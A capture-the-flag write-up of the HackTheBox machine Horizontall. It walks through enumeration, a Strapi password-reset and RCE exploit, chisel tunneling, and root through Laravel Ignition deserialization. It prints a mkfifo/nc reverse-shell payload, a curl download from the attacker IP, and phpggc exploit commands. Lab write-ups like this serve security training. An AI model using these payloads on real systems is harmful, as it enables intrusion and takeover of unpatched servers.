CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Horizontall

linux gobuster chisel laravel

Horizontall is a Linux-based machine authored by wail99, with an average rating of 4.2 stars.

// Recon

nmap -A -p- 10.10.11.105
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-29 13:18 AEST
Nmap scan report for 10.10.11.105
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 334.65 seconds

Nmap provides us with a couple of software version numbers, neither of which turns up much in terms of known vulnerabilities. The site is similarly barren in terms of links & features, but there is a minified javascript file located at /js/app.c68eb462.js that reveals an additional subdomain:

...
methods: {
    getReviews: function () {
        var t = this;
        r.a.get("http://api-prod.horizontall.htb/reviews").then((function (s) {
            return t.reviews = s.data
        }))
    }
}
...

We could have also discovered this subdomain by using gobuster and the best-dns-wordlist.txt from the excellent Assetnote Wordlists repository:

gobuster dns -d horizontall.htb -w best-dns-wordlist.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     horizontall.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   best-dns-wordlist.txt
===============================================================
2021/11/03 10:05:45 Starting gobuster in DNS enumeration mode
===============================================================
Found: api-prod.horizontall.htb

With only these two hostnames to go on, we can now re-run gobuster in directory/file enumeration mode, to look for hidden/unlinked content. The list I most often begin discovery with is directory-list-2.3-medium.txt from the popular SecLists repo, from which I can then move on to larger or more targeted wordlists as needed:

gobuster dir -u http://horizontall.htb/ -w directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/03 10:15:00 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]

These directories were already identifed when manually browsing the site, so let’s move onto the api-prod hostname:

gobuster dir -u http://api-prod.horizontall.htb/ -w directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/03 10:15:17 Starting gobuster in directory enumeration mode
===============================================================
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60]
/admin                (Status: 200) [Size: 854]
...

Both /reviews and /users are REST endpoints of the api, returning structured data. /admin on the other hand redirects us to a strapi login page:

// Initial Foothold

Strapi is an open-source, Node.js Headless CMS. The project’s website offers a lot of documentation about its various features and components. A search for strapi vulnerabilities reveals a number of disclosed CVEs over the past two years:

Three variables need to be set in the script before execution:

  1. userEmail (unknown at this stage)
  2. strapiUrl (identified as http://api-prod.horizontall.htb)
  3. newPassword (whatever we want)

We don’t have any known values for userEmail at this stage. We could dig into the login page’s behaviour via Burp Suite, to see if user enumeration is possible - some web applications will return a slightly different error message on a failed login attempt, depending on whether the user exists or not. But before we spend time on that, it’s a good idea to test at least a few obvious values - administrator, admin etc:

$ python pass_reset.py
[*] strapi version: 3.0.0-beta.17.4
[*] Password reset for user: administrator
[*] Setting new password
[+] New password 's3cret' set for user administrator

The “New password…” output is actually returned for any value of userName regardless of whether it’s valid, meaning we don’t know if we’ve succeeded until we try to login. Luckily the common admin value is valid in this case, and allows us to login to the portal:

With admin access to the strapi control panel, we can return our attention to the rce CVE mentioned earlier. The accompanying writeup does an excellent job of explaining why the vulnerability exists, which basically comes down to npm execution of unsanitised user input via execa. There is also a ready-made exploit script available, which I combined with the reverse-shell command from the write-up to gain access to the host:

# establish listener on local machine:
nc -lnvp 4544

# modify line 57 of the exploit script to connect out to local machine, instead of executing a single command
"plugin": "documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f)" % (lhost, lport)

When the script is run, the connection is created:

Connection from 10.10.11.105:53256

We can then upgrade this shell to a full tty, using one of several methods for stability and to improve the shell experience (tab completion, job control etc). penelope is another option that handles the entire listener setup and upgrading process, which makes things even simpler.

Now that we have shell access as the strapi user, we can browse around the filesystem and soon discover the User-Own flag:

$ ls /home
developer
$ ls -l /home/developer
-rw-rw----  1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------ 12 developer developer  4096 May 26 12:21 myproject
-r--r--r--  1 developer developer    33 Nov  3 16:23 user.txt
$ cat /home/developer/user.txt
7*******************************

// Privilege Escalation

With the foothold achieved, we can move on to enumeration to look for methods of privilege escalation. There are some excellent guides on what to check for here, as well as automated tools such as LinPEAS that can save a lot of time. netstat reveals a few additional services worth checking out:

$ netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1634/node /usr/bin/
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Some of these are dead-ends or red herrings, for example:

The service on port 8000 does give us something though. We can retrieve the default page via curl http://localhost:8000 and learn that it is a laravel / php website. Trying to read raw html code is pretty painful, but we’re unable to browse to the service from our local machine since it’s only running on localhost. Normally we could port-forward over ssh, but this isn’t available because we don’t have a full login for our strapi user. This is where chisel comes in - it provides a means of tunneling connections over HTTP, which will allow us to achieve the same result. The setup requires us to have the binary on both server (our local machine) and client (the target), which in this case was achieved using a python http-server:

# from the directory containing the binary on the server:
python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

# from the client:
$ curl http://10.10.14.85:8000/chisel -o /tmp/chisel
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10.9M  100 10.9M    0     0  11.6M      0 --:--:-- --:--:-- --:--:-- 11.6M

As per the docs, we start the server-side listener:

./chisel server -p 7777 --reverse

and then establish a tunnel from the client, from 8000 on the localhost to 7778 on the server:

/tmp/chisel client 10.10.14.85:7777 R:7778:127.0.0.1:8000

and we are now able to browse to the site:

Straight away we can see that Laravel v8 (PHP 7.4.18) is being used. Running gobuster against the site as we did initially reveals a /profiles page:

CMS frameworks running in debug mode tend to output a lot of sensitive information, which is why they should be disabled when running in production. In this case, the framework goes even further, and offers suggestions on how to fix errors found in the code. Combining code execution with user input is often dangerous, and in this case we don’t have to search too far for an explanation of why. The Ambionics blog does an excellent job of detailing the exploit, and a ready-made PoC is available on Github. If we generate a payload to run the id command, the results are compelling:

$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
$ python laravel-ignition-rce.py http://localhost:7778 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared

The service is running as root. All we need to do now is adjust our payload accordingly, and we can access the /root folder for the System-Own key:

$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system cat\ \/root\/root.txt
$ python laravel-ignition-rce.py http://localhost:7778 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
5*******************************
--------------------------
+ Logs cleared